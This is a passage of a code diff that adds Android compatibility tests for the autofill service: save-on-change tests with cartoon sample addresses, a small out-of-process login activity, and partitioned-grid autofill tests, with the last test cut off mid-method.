+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+                    mActivity.mAddress2.setText("Simpsons House"); // not required
+                    mActivity.mCity.setText("Springfield"); // required
+                    mActivity.mFavoriteColor.setText("Yellow"); // lol
+                }, (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "742 Evergreen Terrace");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedFirstRequiredSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "742 Evergreen Terrace");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedSecondRequiredSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mCity.setText("Springfield"); // required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "Shelbyville Nuclear Power Plant");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedOptionalSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress2.setText("Simpsons House"); // not required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "Shelbyville Nuclear Power Plant");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    /**
+     * Tests the scenario where the service autofilled the activity but the user changed fields
+     * that triggered Save.
+     */
+    private void autofillAndSaveOnChangeTest(CannedDataset.Builder dataset, Runnable changes,
+            Visitor<AssistStructure> assertions) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder()
+                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> { mActivity.mAddress1.requestFocus(); });
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Da Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert value of fields
+        assertions.visit(saveRequest.structure);
+
+        // Once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testAutofillAllChangedIgnored() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mFavoriteColor.setText("Yellow"); // lol
+                });
+    }
+
+    @Test
+    public void testAutofillAllFirstRequiredChangedToEmpty() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mAddress1.setText("");
+                });
+    }
+
+    @Test
+    public void testAutofillAllSecondRequiredChangedToNull() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mCity.setText(null);
+                });
+    }
+
+    @Test
+    public void testAutofillAllFirstRequiredChangedBackToInitialState() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mAddress1.setText("I'm different");
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                });
+    }
+
+    /**
+     * Tests the scenario where the service autofilled the activity and the user changed fields,
+     * but it did not triggered Save.
+     */
+    private void autofillNoChangeNoSaveTest(CannedDataset.Builder dataset, Runnable changes)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder()
+                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Da Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is not shown.
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+
+        // Once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
new file mode 100644
index 0000000..6dd2d11
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.content.Context;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Simple activity showing R.layout.login_activity. Started outside of the test process.
+ */
+public class OutOfProcessLoginActivity extends Activity {
+    private static final String LOG_TAG = OutOfProcessLoginActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        Log.i(LOG_TAG, "onCreate(" + savedInstanceState + ")");
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.login_activity);
+
+        findViewById(R.id.login).setOnClickListener((v) -> {
+            finish();
+        });
+    }
+
+    @Override
+    protected void onStop() {
+        Log.i(LOG_TAG, "onStop()");
+        super.onStop();
+
+        try {
+            getStoppedMarker(this).createNewFile();
+        } catch (IOException e) {
+            Log.e(LOG_TAG, "cannot write stopped filed");
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.i(LOG_TAG, "onDestroy()");
+        super.onDestroy();
+    }
+
+    /**
+     * Get the file that signals that the activity has entered {@link Activity#onStop()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onStop()
+     */
+    @NonNull public static File getStoppedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "stopped");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
new file mode 100644
index 0000000..cd854c8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
@@ -0,0 +1,2321 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.GridActivity.ID_L1C1;
+import static android.autofillservice.cts.GridActivity.ID_L1C2;
+import static android.autofillservice.cts.GridActivity.ID_L2C1;
+import static android.autofillservice.cts.GridActivity.ID_L2C2;
+import static android.autofillservice.cts.GridActivity.ID_L3C1;
+import static android.autofillservice.cts.GridActivity.ID_L3C2;
+import static android.autofillservice.cts.GridActivity.ID_L4C1;
+import static android.autofillservice.cts.GridActivity.ID_L4C2;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.assertValue;
+import static android.autofillservice.cts.Helper.getMaxPartitions;
+import static android.autofillservice.cts.Helper.setMaxPartitions;
+import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.GridActivity.FillExpectation;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.FillResponse;
+import android.support.test.rule.ActivityTestRule;
+import android.widget.RemoteViews;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing multiple partitions.
+ */
+public class PartitionedActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<GridActivity> mActivityRule =
+        new ActivityTestRule<GridActivity>(GridActivity.class);
+
+    private GridActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testAutofillTwoPartitionsSkipFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        mActivity.focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
+
+        // Make sure UI is shown, but don't tap it.
+        sUiBot.assertDatasets("l1c1");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("l1c2");
+
+        // Now tap a field in a different partition
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger auto-fill on 2nd partition.
+        mActivity.focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+        final ViewNode p2l1c1 = assertTextIsSanitized(fillRequest2.structure, ID_L1C1);
+        final ViewNode p2l1c2 = assertTextIsSanitized(fillRequest2.structure, ID_L1C2);
+        final ViewNode p2l2c1 = assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        final ViewNode p2l2c2 = assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+        assertWithMessage("Focus on p2l1c1").that(p2l1c1.isFocused()).isFalse();
+        assertWithMessage("Focus on p2l1c2").that(p2l1c2.isFocused()).isFalse();
+        assertWithMessage("Focus on p2l2c1").that(p2l2c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p2l2c2").that(p2l2c2.isFocused()).isFalse();
+        // Make sure UI is shown, but don't tap it.
+        sUiBot.assertDatasets("l2c1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("l2c2");
+
+        // Now fill them
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+              .onCell(1, 1, "l1c1")
+              .onCell(1, 2, "l1c2");
+        mActivity.focusCell(1, 1);
+        sUiBot.selectDataset("l1c1");
+        expectation1.assertAutoFilled();
+
+        // Change previous values to make sure they are not filled again
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(1, 2, "L1C2");
+
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+        mActivity.focusCell(2, 2);
+        sUiBot.selectDataset("l2c2");
+        expectation2.assertAutoFilled();
+
+        // Make sure previous partition didn't change
+        assertThat(mActivity.getText(1, 1)).isEqualTo("L1C1");
+        assertThat(mActivity.getText(1, 2)).isEqualTo("L1C2");
+    }
+
+    @Test
+    public void testAutofillTwoPartitionsInSequence() throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        mActivity.focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition
+        // Prepare.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        mActivity.focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofill4PartitionsAutomatically() throws Exception {
+        autofill4PartitionsTest(false);
+    }
+
+    @Test
+    public void testAutofill4PartitionsManually() throws Exception {
+        autofill4PartitionsTest(true);
+    }
+
+    private void autofill4PartitionsTest(boolean manually) throws Exception {
+        final int expectedFlag = manually ? FLAG_MANUAL_REQUEST : 0;
+
+        // Set service.
+        enableService();
+
+        // 1st partition
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(expectedFlag);
+
+        if (manually) {
+            assertValue(fillRequest1.structure, ID_L1C1, "");
+        } else {
+            assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        }
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition
+        // Prepare.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(expectedFlag);
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        if (manually) {
+            assertValue(fillRequest2.structure, ID_L2C1, "");
+        } else {
+            assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        }
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+
+        // 3rd partition
+        // Prepare.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 3"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+        assertThat(fillRequest3.flags).isEqualTo(expectedFlag);
+
+        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
+        if (manually) {
+            assertValue(fillRequest3.structure, ID_L3C1, "");
+        } else {
+            assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
+        }
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 3");
+
+        // Check the results.
+        expectation3.assertAutoFilled();
+
+        // 4th partition
+        // Prepare.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 4"))
+                        .setField(ID_L4C1, "l4c1")
+                        .setField(ID_L4C2, "l4c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+        assertThat(fillRequest4.flags).isEqualTo(expectedFlag);
+
+        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
+        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
+        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
+        if (manually) {
+            assertValue(fillRequest4.structure, ID_L4C1, "");
+        } else {
+            assertTextIsSanitized(fillRequest4.structure, ID_L4C1);
+        }
+        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 4");
+
+        // Check the results.
+        expectation4.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofill4PartitionsMixManualAndAuto() throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition - auto
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        mActivity.focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition - manual
+        // Prepare
+        // Must set text before creating expectation, and it must be a subset of the dataset values,
+        // otherwise the UI won't be shown because of filtering
+        mActivity.setText(2, 1, "l2");
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofill(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest2.structure, ID_L2C1, "l2");
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+
+        // 3rd partition - auto
+        // Prepare.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 3"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger auto-fill.
+        mActivity.focusCell(3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+        assertThat(fillRequest3.flags).isEqualTo(0);
+
+        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
+        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 3");
+
+        // Check the results.
+        expectation3.assertAutoFilled();
+
+        // 4th partition - manual
+        // Must set text before creating expectation, and it must be a subset of the dataset values,
+        // otherwise the UI won't be shown because of filtering
+        mActivity.setText(4, 1, "l4");
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 4"))
+                        .setField(ID_L4C1, "l4c1")
+                        .setField(ID_L4C2, "l4c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+
+        // Trigger auto-fill.
+        mActivity.forceAutofill(4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+        assertThat(fillRequest4.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+
+        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
+        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
+        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
+        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
+        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
+        assertValue(fillRequest4.structure, ID_L4C1, "l4");
+        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("Partition 4");
+
+        // Check the results.
+        expectation4.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillBundleDataIsPassedAlong() throws Exception {
+        // Set service.
+        enableService();
+
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4");
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        mActivity.focusCell(1, 1);
